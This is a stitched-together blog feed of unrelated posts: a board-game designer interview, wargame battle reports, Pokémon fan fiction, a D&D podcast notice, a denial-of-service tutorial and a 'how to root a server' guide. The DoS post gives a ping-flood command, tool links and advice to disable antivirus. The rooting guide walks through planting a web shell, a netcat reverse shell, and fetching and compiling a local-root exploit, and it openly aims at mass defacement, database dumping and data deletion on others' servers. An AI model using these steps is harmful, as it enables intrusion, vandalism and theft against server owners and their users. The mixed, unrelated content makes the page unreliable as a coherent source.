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People Behind The Meeples - Episode 242: Steven Ridings

Welcome to People Behind the Meeples, a series of interviews with indie game designers.  Here you'll find out more than you ever wanted to know about the people who make the best games that you may or may not have heard of before.  If you'd like to be featured, head over to http://gjjgames.blogspot.com/p/game-designer-interview-questionnaire.html and fill out the questionnaire! You can find all the interviews here: People Behind the Meeples. Support me on Patreon!


Name:Steven Ridings
Email:cretaceousboardgame@gmail.com
Location:Pennsylvania - United States
Day Job:3D Modeler - Environmental Artist
Designing:One to two years.
Webpage:Cretaceous
Facebook:Cretaceous Board Game
Twitter:@cretaceous_game
Instagram:@cretaceousboardgame/
Find my games at:Cretaceous: A Dinosaur Hunting Adventure is on Kickstarter in August 2020, Gamecrafter after the campaign
Today's Interview is with:

Steven Ridings
Interviewed on: 7/17/2020

This week's interview is with Steven Ridings, the designer of Cretaceous: A Dinosaur Hunting Adventure, on Kickstarter right now! Read on to learn more about Steven and his projects.

Some Basics
Tell me a bit about yourself.

How long have you been designing tabletop games?
One to two years.

Why did you start designing tabletop games?
I wanted to create something people could have fun with. I am a 3D modeler professionally and I got into it in order to make video games to give people fun, emotional experiences. However I found myself in the government contracting side of the field and while I enjoy what I do, it doesn't scratch that itch to provide people with a fun experience and since I get that from board games it seemed like a great hobby to get into the design side of things.

What game or games are you currently working on?
Cretaceous: A Dinosaur Hunting Adventure

Have you designed any games that have been published?
Not yet!

What is your day job?
3D Modeler - Environmental Artist

Your Gaming Tastes
My readers would like to know more about you as a gamer.

Where do you prefer to play games?
At home or at a friends house. I definitely feel the most comfortable to be loud and just relax.

Who do you normally game with?
Well I have two real groups. One I grew up with in Winchester VA and try to play anytime I swing through town. Another my wife and I met online playing video games and dungeons and dragons.

If you were to invite a few friends together for game night tonight, what games would you play?
I'd say my top two would be Clank! and Evolution. Some runner ups would have to be Dinosaur Island, Betrayal at House on the Hill, and Arkham Horror.

And what snacks would you eat?
Red Baron mini frozen pizzas have kind of become a signature food over here when friends visit. Maybe add some cheetos or chips too.

Do you like to have music playing while you play games? If so, what kind?
We don't, but a buddy of mine always had it when we played Magic and it was cool. Maybe it's something we should start.

What's your favorite FLGS?
I have two since we travel a lot back and forth to VA normally. In Winchester VA there is Kung Fu Comics. It's run by a long time friend and has everything from MTG, board games, and miniatures. In Pennsylvania I would have to say New Dimension Comics. They have a HUGE store at the waterfront and I met my D&D group there.

What is your current favorite game? Least favorite that you still enjoy? Worst game you ever played?
Current favorite would be Dinosaur Island. Making Cretaceous really got me more into a dino mood. Least that I still enjoy would be Joking Hazard as you seem to get the same cards pretty fast so if you play it a lot it starts to get a bit repetitive. I feel a bit bad putting a worst but I would have to say Keys to the Castle. I saw it on sale and I should have known better with no gameplay art on the box but we gave it a try. It's been gathering dust since.

What is your favorite game mechanic? How about your least favorite?
Tile placement and map building are my favorite. I want at the end of the game to look at something and see something that wasn't there when we started. That's one of the main reasons Cretaceous makes the map as you go and spawns dinosaurs during the game, so the map comes to life as you play. My least favorite would be games that put too much power in the cards to draw like Cards Against Humanity or most card only games that have a random draw. It seems that based on what you draw you win or lose and sometimes you know you have lost early based on a "bad hand" and you get to wait for the next round without much of a chance to change that.

What's your favorite game that you just can't ever seem to get to the table?
Arkham Horror. Since there are so many parts to it, it seems a bit overwhelming to new players.

What styles of games do you play?
I like to play Board Games, Card Games, Miniatures Games, RPG Games, Video Games

Do you design different styles of games than what you play?
I like to design Board Games

OK, here's a pretty polarizing game. Do you like and play Cards Against Humanity?
No

You as a Designer
OK, now the bit that sets you apart from the typical gamer. Let's find out about you as a game designer.

When you design games, do you come up with a theme first and build the mechanics around that? Or do you come up with mechanics and then add a theme? Or something else?
I definitely do the theme first. I want to pull a certain feeling out of people and I can get that from the theme. For Cretaceous I wanted the feeling of going through a jungle or forest not knowing what dinosaurs or hazards there would be. It started as a game where you were trying to escape an island and avoid the dinosaurs but slowly the mechanics changed to something far more fun but still gave that same feeling.

Have you ever entered or won a game design competition?
No, I have not entered any. I've only really been focusing on Cretaceous and I didn't want to submit it without all the artwork done. Maybe now that it is at a place I am happy with I can submit it to a few.

Do you have a current favorite game designer or idol?
Definitely Dominic Crapuchettes. The first Evolution really pulled me into the modern board game world and I was so into that game I took it every time I visited friends. They now request and make sure I bring it. And the story of how he came to design board games is amazing as well.

Where or when or how do you get your inspiration or come up with your best ideas?
I'd say my best ideas would come from when I can just sit for 30-60 minute sessions by myself and just write down any ideas for the game. I wont keep most of them, but being able to compare the pool of thoughts easily lets me narrow down to the best ways to accomplish what I want.

How do you go about playtesting your games?
Annoying my wife with countless index card prototypes! But in all seriousness for Cretaceous I remade it a few times with her until I found something I thought was a good base. Then I took it to VA when we visited to get more feedback. After some Game Crafter prototypes to get a feel of costs and components I took it to Tabletop Simulator and reached out to people online. I was planning on more local game store tests instead but with 2020 being what it is, that moved online.

Do you like to work alone or as part of a team? Co-designers, artists, etc.?
I'd like to work with others in the future. Specifically an artist as I believe my skills are limited. Although through all the playtesters I got a lot of great ideas that improved the game, so I can't really say I made it alone.

What do you feel is your biggest challenge as a game designer?
That this is my first game and nobody knows whether to invest in anything I make.

If you could design a game within any IP, what would it be?
The cast of Critical Role for a board game based on one of their two campaigns. They have such rich lore and worlds built that they could go into any media!

What do you wish someone had told you a long time ago about designing games?
I didn't know the Game Crafter was a thing until a little over a year ago. I just had ideas in my head but didn't know how to get it on a real product easily.

What advice would you like to share about designing games?
Make sure to playtest even a really early draft of your game. Even if it is just on index cards. No matter how well you think it will work out, just playing it once will expose things you need to change. Once you finally don't see any major issues, then grab a few more testers and maybe make a better prototype.

Would you like to tell my readers what games you're working on and how far along they are?
This is what I have currently crowdfunding: Cretaceous: A Dinosaur Hunting Adventure
Games that are in the early stages of development and beta testing are: An interesting crafting and creation game is looking pretty fun

Are you a member of any Facebook or other design groups? (Game Maker's Lab, Card and Board Game Developers Guild, etc.)
TGC Designer Discussion

And the oddly personal, but harmless stuff…
OK, enough of the game stuff, let's find out what really makes you tick! These are the questions that I'm sure are on everyone's minds!

Star Trek or Star Wars? Coke or Pepsi? VHS or Betamax?
Star Wars / Pepsi / VHS

What hobbies do you have besides tabletop games?
Retro Video game Collecting and Fishing

What is something you learned in the last week?
Taco Bell has a Grilled Cheese Burrito

Favorite type of music? Books? Movies?
Comedy / Parody Music Fantasy Books 3D Animation Movies like Pixar or Dreamworks

What was the last book you read?
Does the Baldur's Gate campaign book count?

Do you play any musical instruments?
Nope! But if I could, I would choose Violin.

Tell us something about yourself that you think might surprise people.
I don't really like horror movies or books, but for some reason I really like the game Dead by Daylight.

Tell us about something crazy that you once did.
I put Cheetos on a pizza. I used the Joey Tribbiani approach. Pizza? Good. Cheetos? Good. What is there not to like? (It didn't go well)

Biggest accident that turned out awesome?
I didn't know those could turn out well. I'll keep a lookout.

Who is your idol?
Weird Al. He did something he loved that did not fit any of the norms of the time. Accordion parody music wasn't really "in". But he brought so much joy and laughter to the world because he was just himself.

What would you do if you had a time machine?
I think I would be worried about screwing something up in the present. So I guess drop it in the ocean.

Are you an extrovert or introvert?
Introvert. Extremely so.

If you could be any superhero, which one would you be?
Superman. I don't really like DC but the guy has it all. It's like getting to choose multiple choices on this one.

Have any pets?
2 Cats - Nami and Jinx 2 Rabbits - Kisa and Roshi

When the next asteroid hits Earth, causing the Yellowstone caldera to explode, California to fall into the ocean, the sea levels to rise, and the next ice age to set in, what current games or other pastimes do you think (or hope) will survive into the next era of human civilization? What do you hope is underneath that asteroid to be wiped out of the human consciousness forever?
Survive - A thumb drive that some Pirate has filled with all the ROMS of classic video games from NES, SNES, and 64. I bet they would fit. Destroyed - Durian Fruits

If you'd like to send a shout out to anyone, anyone at all, here's your chance (I can't guarantee they'll read this though):
I'd like to thank my wife Kathleen the most. She helped push me to thinking my games would be worth making and not to doubt myself so much. It's really hard to get over the self doubt sometimes.


Thanks for answering all my crazy questions!




Thank you for reading this People Behind the Meeples indie game designer interview! You can find all the interviews here: People Behind the Meeples and if you'd like to be featured yourself, you can fill out the questionnaire here: http://gjjgames.blogspot.com/p/game-designer-interview-questionnaire.html

Did you like this interview?  Please show your support: Support me on Patreon! Or click the heart at Board Game Links , like GJJ Games on Facebook , or follow on Twitter .  And be sure to check out my games on  Tabletop Generation.

terça-feira, 22 de setembro de 2020

Stonne 1940 Big CoC Weekend Part 1


This has been in the pipeline for a few months now, the first public Big CoC public weekend at the WHC. In this first post I'll give some idea of the thought process (sic) behind the game and then I'll give you the scenarios and how the game played out...oh, and there will be a few pics.
Warlord and Crusader French
Mark Freeth was very keen to get an early war 1940 scenario together, initially we toyed with the idea of running a weekend with 2 games running side by side, one containing French and the other BEF taking on the invading Germans. While this was certainly achievable, it involved a few more logistical headaches concerning turning the games around, plus simply having to focus on 2 games at once rather than one. So, in the end we plumped for a single set of scenarios with just the French and Germans.
A small problem with running Big CoC games is that the scenarios are somewhat dependant on the number of players attending, and given the nature of the WHC the numbers can vary, Some players book months in advance, but often people will book relatively late so the scenario needed to be capable of being tweaked to fit this in. The nuts and bolts of the game don't alter that much, the idea being that each player will command an infantry (or armour) platoon, then the force as a whole has a degree of support which is then dished out. On the whole this is not a problem, but for quite a while we were looking at having six players (fine, 3 on 3) then suddenly the numbers went up to seven. My initial reaction was one of mild horror because it meant balancing the game for a three versus four. However, when I started looking at the way the Stonne game might play out, the imbalance of 3 platoons  against 4 became more and more attractive.


A little Panhard 178. It bogged in the ditch......
The battle at Stonne took place over 4 days commencing on 15th May 1940, with the Germans having the Grossdeutschland motorised infantry regiment, and elements of the 10.PzD (Panzer-Regiment 8)
They were encountering in these scenarios the 3e DIM (Division d'Infanterie Motorisée), supported by 3e DCr (Division Cuirassée)
Looking at the platoon lists for CoC the 1940 German infantry platoons are enormous. Each platoon contains 2 senior leaders and a 50mm mortar team plus 4 x 10 man sections, for a total of 44 men.
The French platoons are a similar size, with 2 platoon leaders (1 senior, 1 junior) a VB rifle grenade team of a junior leader with 4 men. plus 3 sections of 11 for a total of 40 men. 

So if we had seven players, with 3 on the German side and 4 for the French it wouldn't be too bad. 1 player a side would be playing a tank platoon anyway, so it would be 2 German infantry platoons against 3 French, however that is actually 8 German sections opposed to 9 French, making it less unbalanced than first appears. A little extra tweaking by making the Germans "superior regulars" meaning they treat rolls on their command dice of a single six also as a 5, giving them more CoC dice pips during the game, plus increasing the size of their panzer II platoon to a whopping 5 vehicles would compensate for the additional French numbers. Additionally, each German platoon would start with a full Chain of Command Dice. 


Poilus advance, CharB in support 
So I worked on that basis, and prepared everything with 7 players in mind, Then of course Mark called and said " I've got an 8th player"......So the superior regular, and the extra CoC dice went out of the window, and the Panzer platoon was cut from 5 down to 4, and the Germans went up to 3 infantry platoons to make it 4 a side. Also the Germans would not have a significant advantage in support points when they were attacking, while the french would.

 Even after this we had another couple of guys wanting to sign up, but at that late stage we sadly had to say no, and stick with 8, as I think a single game with 5 a side is really stretching it for this rule set - not saying its not possible, but I think the game might suffer.
So that is the format we ended up going with, having said that I'm pretty sure the scenarios will work fine with seven (or 5 for that matter) players if the Germans are bumped up a bit to cater for uneven forces.



Panzerjeager I supports Black Tree and Warlord infantry

The other aspect of the games that numbers have an impact on is the size of the table used for each scenario. The recommendation for Big CoC is that the table size should be the same as for normal CoC (6' x 4')  with an additional foot width per additional infantry platoon added - you add nothing for the armour.
Well, The main table at the WHC is 24' long by 6' deep, and so we already play on a depth of 6' which I prefer over 4'. The patrol phase gets forces into action quickly enough anyway, and having the extra depth gives players a bit more room without slowing things down.
Just adding 2 feet per platoon gives us a width of 8' x 6 " which is fine, but the centres' terrain boards are 3' each so it is convenient to go for a slightly larger width of 9'. a bit more room both on the table and for player comfort. That meant that it wasn't too tricky to divide up the table into 3 sections - 9' at each end and then utilise the central 6' and 3' of one of the other sections to give us 3 x 6' x 9' areas.

The point of all this meant I could set up the entire table beforehand, and players go from game to game  with no great interruptions in order to maximise playing time. Also I think it looks good!






Stonne from west to east: Game 1 at the far end, game 2 in the foreground, game 3 in the centre. The Germans are advancing from the north, the French, the south.

I also planned to have a 4th scenario, which would have meant re-setting the terrain at one end of the table- it would have been that which was fought over in game 2 so we could do it while game 3 was in progress giving plenty of time. As it turned out, we didn't get in 4 games over the weekend, a bit of a shame but, sometimes CoC games can be like that, some go faster than others.
The table was made up simply from having a look at Google Earth, backed up with some excellent maps in Prieser's "Blitzkrieg Legend"- to  get the overall topography. Generally the village hasn't changed enormously since 1940, although it was rebuilt there has been no development sprawl, The critical points haven't changed, in terms of the woods, the road layout, and the extent of the village.Being able to get down at street view is an amazing resource, it shows just how winding and steep the only road the Germans had to approach the village from the north was, as it approaches the Butte De Stonne at the Eastern end of the village, and how despite it appearing very flat on the map, the countryside to the west and south actually has quite a lot of small undulations, the view south from the village is somewhat restricted. At the eastern end of the village the countryside is more wooded and broken, with the road becoming sunken before it winds down back on itself down the steep wooded slope to the north of the village (off- table)

Map showing the initial German attack on Stonne, May 15 at 0800. Influenced by Eric Denis' work. (wikipedia)
Given the nature of playing 3 or possibly 4 games over a weekend in a campaign format with 8 CoC novices I thought that the first scenario should probably be a bit gentle in order to ease them into it, and allow them to possibly make a few mistakes without getting horribly punished. I also wanted to keep it relatively simple.
Given the nature of the fighting in Stonne (the village apparently changed hands 17 times in 3 days), it lent itself to a relatively straightforward narrative: i.e. Attack and counterattack- So I decided to make the first game an attack/defence scenario with the Germans on the offensive at the eastern end of the table, the second game was to be another attack/defence with the French on the offensive at the western end of the table. Game 3 was to be in the central area of the table with the Germans attacking in an "attack on an objective" scenario.
I planned a 4th scenario which was to be played out on new terrain to the east of Stonne and that would have been the French conducting a flank attack. However, time sadly ran out. I'm sure we will do it one day.


The View from east to west, the broken ground of the Butte De Stonne in the foreground

The scene was set:
8 players, hopefully 4 games, Germans versus French at Stonne, one of the iconic battles of the campaign.
What were the salient features of the battle? The Germans had crossed the Meuse a couple of days earlier and were trying to exploit that relatively fragile bridgehead, the French had rapidly managed to assemble a counter attack force. The massif of which Stonne is a small part doesn't readily show up on a map, but have a look at Google Earth and you can see just how important it was for both sides. The village itself is rather innocuous, just a farming village with two roads entering from the south, however, it is the terrain to the north which both sides were focused on. There is a single road which leads out of Stonne to the north, this snakes down the hillside along a steep wooded slope before reaching the more gentle plain. The entire northern side of Stonne is covered in thick fir trees which extend down the steep slope- there is nowhere in the village itself (other than the "Butte de Stonne") which has a view to the north. However, if you hold the town and can establish OP's in this wooded hillside you have a magnificent vista stretching out 4 or 5 kilometres and more to the north, the German bridgeheads, and the routes they will take as they expand. Subsequently this tiny Ardennes village became vitally important.   


French section enters central Stonne

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Monumental Heartbreak

I made it through Viridian Forest to Pewter City safely. The Pewter Pokémon Gym was open and available, but Lucky was in no condition to train there. Instead we made daily forays into the forest to train against other Caterpie and Weedle. Eventually Lucky evolved into a Metapod which was amazing to watch. At the time, I was so excited to see an evolution first hand. It was the direct result of our diligent training together and it felt great to see Lucky move into his next life stage, growing stronger before my eyes. This physical manifestation of growth and improvement encouraged me to take our training to the next step. It encouraged me to take my team to the Pewter City Pokémon Gym.
I walked in headstrong and confident that my team was ready to face the challenges ahead. I announced myself as a challenger. I waited for the trainers representing the gym to step forward. I expected to face more than one young man before challenging Gym Leader Brock, but apparently this young trainer was the only one representing Brock that day. He only had two Pokéballs at his side, but he assured me I was no match for Brock. He was about to prove it to me firsthand.
He tossed out a Diglett which popped up out of the dirt floor of the gym. Kiwi took to the air. If the Diglett knew any ground attacks they would be wasted on Kiwi while he remained airborne. Kiwi opened with our classic Sand-Attack gambit to kick as much dust and dirt up into the Diglett's eyes as he could. Kiwi took a few scrapes as he wore down the Diglett's accuracy, but eventually the Diglett was completely ineffective. I switched in Nibbles to tackle the Diglett into submission.
The Junior Trainer revealed his final Pokémon to be a Sandshrew. Its defense was formidable so I used Nibble to distract him with a series of disorienting glares before pulling Nibble out of the battle. Rascal jumped in to eagerly sweep through the defenseless Sandshrew, but I miscalculated. After two vicious slashes from the Sandshrews sharp claws, Rascal was down and out. Rascal slumped to the ground unconscious. My heart sank into my stomach and I felt faint. I failed Rascal.
It was in that moment of horrible defeat that it occurred to me that I should have used a potion on Rascal. I shouldn't have let him suffer those two powerful attacks head on. I should have sent in Kiwi to wear down the Sandshrew's accuracy. Lucky didn't stand a chance against this Pokémon if it took out Rascal so easily. Kiwi was my only chance to get out of this mess. I knew that if I didn't keep my head in the game, I might be saying goodbye to more than one Pokémon that afternoon. I tried to shake off my sorrow and focus on the battle ahead.
Kiwi was much faster than the Sandshrew. He kept firmly out of reach and launched a series of quick attacks on the Sandshrew to finish it off. The Junior Trainer conceded defeat, but it was I who felt defeated that day. This young boy had no idea I'd just recently vowed to never fight my Pokémon to the point of unconsciousness. Now, just days after determining the way I wished to train and respect Pokémon, my resolve was going to be tested. Rascal and I would have to part ways.
I explained this to the trainer who didn't quite understand, but he said the gym would be happy to watch after Rascal for me. Rascal was always enthusiastic about training and living here at the gym would be a fitting end to our relationship, so I agreed.
I took Rascal to the Pokémon Center and waited for him to recover from his injuries. I don't really know if he understood, but I explained to him that in order for us to grow stronger I would need to let him go. We had to follow different paths, now. I had chosen a training style where I would not let my Pokémon fall in battle and even though Rascal was my very first Pokémon companion, I could not go back on my conviction. We said our goodbyes. I released Rascal to the care of the Junior Trainer at the Pewter City Pokémon Gym and withdrew my challenge.

It's an understatement to say that I was devastated. In that moment, I certainly regretted making it my personal goal as a trainer to not push my Pokémon too far. As Wolf had said, it's just part of the training to the average trainer. You win some and you lose some. But that just wasn't my way. I wanted to build a place where I could protect Pokémon and people would come from all around to study and understand them better. I had to be better than the average trainer. I had to hold myself to a higher standard. Pokémon would fight. They would fight to protect me in the wild, and they would fight for my dream in competitive matches. But I had to have limits. I had to take responsibilities for my failures and this was the only way I knew how to do that.
Rascal was the first of many such failures, and saying goodbye to my first Pokémon was certainly one of the most painful experiences as a Pokémon Trainer that I have ever faced. Back in those days in Pewter City, I questioned everything about my journey. I spent a long time just wondering if I should return to Professor Oak and give up. These thoughts just stemmed from the profound sadness and disappointment, though. Ultimately, I would move on. I would grow stronger and persevere.
Beyond the tremendous heartbreak of failing to protect my first Pokémon, I was also terrified of Brock. This failure humbled me tremendously. Everything I did going forward would be taken slowly and with greater attention to strategy. This included returning to challenge Brock. Without Rascal, my team had a gaping hole that needed to be filled. The only one who could fill that hole was Lucky and so we left Pewter temporarily to train like our lives depended on it. I would absolutely not lose another Pokémon in this city.

Current Team:

Battle Of Gypsum Ridge Pt2

 

Close and deadly action on the Ridge.


On their left, the Dominion's first attack on the village
was repulsed as was a rather ragged rush forward by the grenadiers. On the ridge, a steady stream of Rebel companies were thrown into the gaps as they appeared.


At last, the Rifles forced their way into the village while the Grenadiers fell back to reorganize. The Rebels took advantage of the break to rearrange their units, sending fresh units into the line and pulling the dismounted cavalry back from the wall to ride to the open flank .


Accurate fire from the Dominion artillery managed to silence the Rebel battery just in time for a renewed Dominion assault. The fighting was fierce and prolonged.


The Grenadiers did not have the strength to storm the wall and were taking such heavy casualties that General Douglas feared they might be forced to retreat but the Rebel line was flanked and the exposed units suffered from heavy and accurate fire. The last straw came when the Director General's Bodyguard remounted and swept around the flank, driving all opposition before them. 


segunda-feira, 7 de setembro de 2020

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sexta-feira, 4 de setembro de 2020

Podcast Episode 28 - Lessons Learned And Campaign Happenings


A lot of games over the past couple of weeks, and some lessons learned as a DM! Come listen as I share about running boss battles, using random events in interesting ways and how a big reveal had me worried that I'd lost a player!


Anchor Episode link: https://anchor.fm/thedungeonmastershandbook/episodes/Episode-28---Lessons-Learned-and-Campaign-Happenings-easbbl

Leave me a voice message and let me know what you think or ask questions if you have them! (312) 625-8281‬ (US/Canada)

You can also leave a message on Anchor: anchor.fm/thedungeonmastershandbook/message 

Find episode posts and other D&D content on my blog: chgowiz-games.blogspot.com 

Intro music: Dragonaut by Bradley The Buyer (bit.ly/2ASpAlF)
Outro music: Dream by Wild Shores (bit.ly/2jbJehK)
Stinger music by TJ Drennon - Check out his Patreon page at https://www.patreon.com/TJD/!

segunda-feira, 31 de agosto de 2020

DOS (Denial Of Service) Attack Tutorial Ping Of Death ;DDOS

What is DoS Attack?

DOS is an attack used to deny legitimate users access to a resource such as accessing a website, network, emails, etc. or making it extremely slow. DoS is the acronym for Denial oService. This type of attack is usually implemented by hitting the target resource such as a web server with too many requests at the same time. This results in the server failing to respond to all the requests. The effect of this can either be crashing the servers or slowing them down.


Cutting off some business from the internet can lead to significant loss of business or money. The internet and computer networks power a lot of businesses. Some organizations such as payment gateways, e-commerce sites entirely depend on the internet to do business.

In this tutorial, we will introduce you to what denial of service attack is, how it is performed and how you can protect against such attacks.

Topics covered in this tutorial

Types of Dos Attacks

There are two types of Dos attacks namely;

  • DoS– this type of attack is performed by a single host
  • Distributed DoS– this type of attack is performed by a number of compromised machines that all target the same victim. It floods the network with data packets.

Ultimate guide to DoS(Denial of Service) Attacks

How DoS attacks work

Let's look at how DoS attacks are performed and the techniques used. We will look at five common types of attacks.

Ping of Death

The ping command is usually used to test the availability of a network resource. It works by sending small data packets to the network resource. The ping of death takes advantage of this and sends data packets above the maximum limit (65,536 bytes) that TCP/IP allows. TCP/IP fragmentation breaks the packets into small chunks that are sent to the server. Since the sent data packages are larger than what the server can handle, the server can freeze, reboot, or crash.

Smurf

This type of attack uses large amounts of Internet Control Message Protocol (ICMP) ping traffic target at an Internet Broadcast Address. The reply IP address is spoofed to that of the intended victim. All the replies are sent to the victim instead of the IP used for the pings. Since a single Internet Broadcast Address can support a maximum of 255 hosts, a smurf attack amplifies a single ping 255 times.  The effect of this is slowing down the network to a point where it is impossible to use it.

Buffer overflow

A buffer is a temporal storage location in RAM that is used to hold data so that the CPU can manipulate it before writing it back to the disc. Buffers have a size limit. This type of attack loads the buffer with more data that it can hold. This causes the buffer to overflow and corrupt the data it holds. An example of a buffer overflow is sending emails with file names that have 256 characters.

Teardrop

This type of attack uses larger data packets. TCP/IP breaks them into fragments that are assembled on the receiving host. The attacker manipulates the packets as they are sent so that they overlap each other. This can cause the intended victim to crash as it tries to re-assemble the packets.

SYN attack

SYN is a short form for Synchronize. This type of attack takes advantage of the three-way handshake to establish communication using TCP. SYN attack works by flooding the victim with incomplete SYN messages. This causes the victim machine to allocate memory resources that are never used and deny access to legitimate users.

DoS attack tools

The following are some of the tools that can be used to perform DoS attacks.

  • Nemesy– this tool can be used to generate random packets. It works on windows. This tool can be downloaded from http://packetstormsecurity.com/files/25599/nemesy13.zip.html . Due to the nature of the program, if you have an antivirus, it will most likely be detected as a virus.
  • Land and LaTierra– this tool can be used for IP spoofing and opening TCP connections
  • Blast– this tool can be downloaded from http://www.opencomm.co.uk/products/blast/features.php
  • Panther- this tool can be used to flood a victim's network with UDP packets.
  • Botnets– these are multitudes of compromised computers on the Internet that can be used to perform a distributed denial of service attack.

DoS Protection: Prevent an attack

An organization can adopt the following policy to protect itself against Denial of Service attacks.

  • Attacks such as SYN flooding take advantage of bugs in the operating system. Installing security patches can help reduce the chances of such attacks.
  • Intrusion detection systems can also be used to identify and even stop illegal activities
  • Firewalls can be used to stop simple DoS attacks by blocking all traffic coming from an attacker by identifying his IP.
  • Routers can be configured via the Access Control List to limit access to the network and drop suspected illegal traffic.

Hacking Activity: Ping of Death

We will assume you are using Windows for this exercise. We will also assume that you have at least two computers that are on the same network. DOS attacks are illegal on networks that you are not authorized to do so. This is why you will need to setup your own network for this exercise.

Open the command prompt on the target computer

Enter the command ipconfig. You will get results similar to the ones shown below

Ultimate guide to DoS(Denial of Service) Attacks

For this example, we are using Mobile Broadband connection details. Take note of the IP address. Note: for this example to be more effective, and you must use a LAN network.

 Switch to the computer that you want to use for the attack and open the command prompt

We will ping our victim computer with infinite data packets of 65500

Enter the following command

ping 10.128.131.108 –t |65500

HERE,

  • "ping" sends the data packets to the victim
  • "10.128.131.108" is the IP address of the victim
  • "-t" means the data packets should be sent until the program is stopped
  • "-l" specifies the data load to be sent to the victim

You will get results similar to the ones shown below

Ultimate guide to DoS(Denial of Service) Attacks

Flooding the target computer with data packets doesn't have much effect on the victim. In order for the attack to be more effective, you should attack the target computer with pings from more than one computer.

The above attack can be used to attacker routers, web servers etc.

If you want to see the effects of the attack on the target computer, you can open the task manager and view the network activities.

  • Right click on the taskbar
  • Select start task manager
  • Click on the network tab
  • You will get results similar to the following

Ultimate guide to DoS(Denial of Service) Attacks

If the attack is successful, you should be able to see increased network activities.

 

Hacking Activity: Launch a DOS attack

In this practical scenario, we are going to use Nemesy to generate data packets and flood the target computer, router or server.

As stated above, Nemesy will be detected as an illegal program by your anti-virus. You will have to disable the anti-virus for this exercise.

Ultimate guide to DoS(Denial of Service) Attacks

Enter the target IP address, in this example; we have used the target IP we used in the above example.

HERE,

  • 0 as the number of packets means infinity. You can set it to the desired number if you do not want to send, infinity data packets
  • The size field specifies the data bytes to be sent and the delay specifies the time interval in milliseconds.

 

Click on send button

You should be able to see the following results

Ultimate guide to DoS(Denial of Service) Attacks

The title bar will show you the number of packets sent

Click on halt button to stop the program from sending data packets.

You can monitor the task manager of the target computer to see the network activities.

Summary

  • A denial of service attack's intent is to deny legitimate users access to a resource such as a network, server etc.
  • There are two types of attacks, denial of service and distributed denial of service.
  • A denial of service attack can be carried out using SYN Flooding, Ping of Death, Teardrop, Smurf or buffer overflow
  • Security patches for operating systems, router configuration, firewalls and intrusion detection systems can be used to protect against denial of service attacks.
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domingo, 30 de agosto de 2020

HOW TO ROOT A SERVER? – SERVER ROOTING

Servers serve the requests made by the users to the web pages, it acts as a helping hand who serves the requested meal for you. Here I am sharing how to root a server. Root is the Administrator of all server. If someone got root access to it, he can do anything with a server like delete and copy anything on the server, can deface all the websites (massive deface ).
We can't talk about root on windows. That enough for a beginner because if I talk about the root I need another book. So, I guess now we know the importance of root access and why we try to get root.

HOW TO ROOT A SERVER?

There are 3 ways to get ROOT on the server :
1 – With local Root.
2 – With SQL by reading the same important files on it root password.
3 – With exploit on software (Buffer Overflow).
In this post, we will explain local Root. I will explain the other ways soon in some other post.
OK, let's back to work.
After Uploading your shell on the server and getting the local root you will do a back connect and run the local root to Get root. This is a small idea of how it works in the next step you will see how to
find local root and run it to get root access.

HOW TO SEARCH LOCAL ROOT?

First of all we you need to know what version of Kernel.
You can know that from your shell, for example, this version is 2.6.18 – 2012
Go to EXECUTE on your shell and write  "uname -a". You will get the same result, by the way.
Now how to find the local root.
You can use various websites like Exploit-db, packetstormsecurity, vfocus, injector, etc who provides these local roots. One more thing to notice is, that there exist two types of local roots :
1. Local.C: which are not ready.
2. Local: ready to use.

HOW TO GET ROOT ACCESS?

First, you need a shell with a Back Connect option like this :
Enter your "Public IP Address" in SERVER, the port you want to connect on and leave it, Perl, this time, and Finally connect.
So now you must receive the back connect with a Tool named netcat u can download it from the
net. After that open your terminal if you are under Linux or CMD  if you are under Windows. I will explain only Linux, and for Windows, its all the same.
After that Follow the steps :
1- Press nc -vlp 433
2- Wget [the link of the local-Root.zip]
3 – unzip local-Root.zip

4 – chmod 777 local.c

5 – now to change the local-root from local.c > local
gcc local.c -o local Then you will find local.c transformed to local

6 – chmod 777 local

7 – ./local to local rootwork

8 – su
then see your id uid=0(root) gid=0(root) groups=0(root)


Getting UID=0 means, u had got root privileges and hence can do a variety of stuff on the remote server say Mass deface, dump database, redirect sites, change content, etc etc.
AFTER THE ROOT 
As server gets rooted, you're able to do the many things with it like I mentioned above. Such as, withdrawal of domains, massive deface and also deletion of the data completely.
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